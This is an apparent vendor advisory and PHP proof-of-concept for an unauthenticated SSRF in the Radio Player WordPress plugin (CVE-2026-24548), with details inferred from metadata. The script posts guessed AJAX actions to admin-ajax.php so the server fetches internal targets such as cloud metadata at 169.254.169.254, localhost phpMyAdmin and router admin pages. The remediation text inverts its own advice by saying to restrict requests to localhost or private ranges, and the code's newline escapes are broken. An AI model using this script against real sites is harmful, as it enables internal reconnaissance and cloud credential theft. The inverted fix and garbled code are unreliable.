Atomic Edge analysis of CVE-2026-24548 (metadata-based):
The Radio Player WordPress plugin contains an unauthenticated Server-Side Request Forgery vulnerability affecting all versions up to 2.0.91. This vulnerability allows remote attackers to force the WordPress server to make arbitrary HTTP requests to internal or external systems. The CVSS 7.2 score reflects the network accessibility, low attack complexity, and potential for lateral movement within internal networks.
Atomic Edge research indicates the root cause likely involves improper validation of user-supplied URLs within plugin functionality. The CWE-918 classification confirms the plugin processes external URLs without adequate verification. Based on WordPress plugin patterns, this vulnerability probably exists in an AJAX handler or REST API endpoint that accepts URL parameters for audio stream fetching or metadata retrieval. The analysis infers the vulnerable code lacks proper hostname validation, URL scheme restrictions, or IP address filtering. No source code confirmation exists for these specific implementation details.
Exploitation requires sending HTTP requests to a vulnerable endpoint with malicious URL parameters. Attackers likely target the plugin’s AJAX handler at /wp-admin/admin-ajax.php with an action parameter containing ‘radio_player’ or similar plugin-specific prefix. The payload would include a URL parameter pointing to internal services (like http://127.0.0.1:8080/admin) or cloud metadata endpoints (like http://169.254.169.254/latest/meta-data). Attackers can chain this with other vulnerabilities to access administrative interfaces, retrieve sensitive data, or perform port scanning of internal networks.
Remediation requires implementing proper URL validation before making external requests. The fix should validate URL schemes, restrict requests to localhost or private IP ranges, and implement allowlists for permitted domains. WordPress security best practices recommend using the wp_http_validate_url() function or similar validation mechanisms. The plugin should also enforce authentication checks on all endpoints that trigger external requests.
Successful exploitation enables attackers to interact with internal services that would otherwise be inaccessible from external networks. This can lead to information disclosure from internal APIs, database access through exposed admin interfaces, or interaction with cloud metadata services. In cloud environments, SSRF can escalate to credential theft or remote code execution via instance metadata services. The vulnerability also facilitates network reconnaissance by scanning internal ports and services.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24548 - Radio Player <= 2.0.91 - Unauthenticated Server-Side Request Forgery
<?php
/**
* Proof of Concept for CVE-2026-24548
* Assumptions based on WordPress plugin patterns:
* 1. The plugin registers an AJAX action without authentication (nopriv)
* 2. The action name contains 'radio_player' or similar plugin identifier
* 3. A URL parameter accepts external addresses without proper validation
* 4. The plugin fetches the provided URL server-side
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common AJAX action patterns for this plugin
$possible_actions = [
'radio_player_fetch_stream',
'radio_player_get_metadata',
'radio_player_validate_url',
'radio_player_test_stream',
'radio_player_ajax_handler'
];
// Internal targets to test SSRF impact
$internal_targets = [
'http://127.0.0.1:8080',
'http://localhost/phpmyadmin',
'http://169.254.169.254/latest/meta-data/',
'http://192.168.1.1/admin'
];
echo "Atomic Edge SSRF PoC for Radio Player Pluginn";
echo "Target: $target_urlnn";
foreach ($possible_actions as $action) {
echo "Testing AJAX action: $actionn";
foreach ($internal_targets as $test_url) {
$post_data = [
'action' => $action,
'url' => $test_url,
'stream_url' => $test_url,
'source' => $test_url,
'radio_url' => $test_url
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && !empty($response)) {
echo " [+] Potential SSRF to $test_url - Response length: " . strlen($response) . "n";
// Check for indicators of successful internal request
if (strpos($response, 'html') !== false ||
strpos($response, 'admin') !== false ||
strpos($response, 'AWS') !== false) {
echo " [!!] Likely successful SSRF - internal content detectedn";
}
}
curl_close($ch);
usleep(500000); // Rate limiting
}
echo "n";
}
echo "PoC complete. Manual verification required for positive results.n";
?>
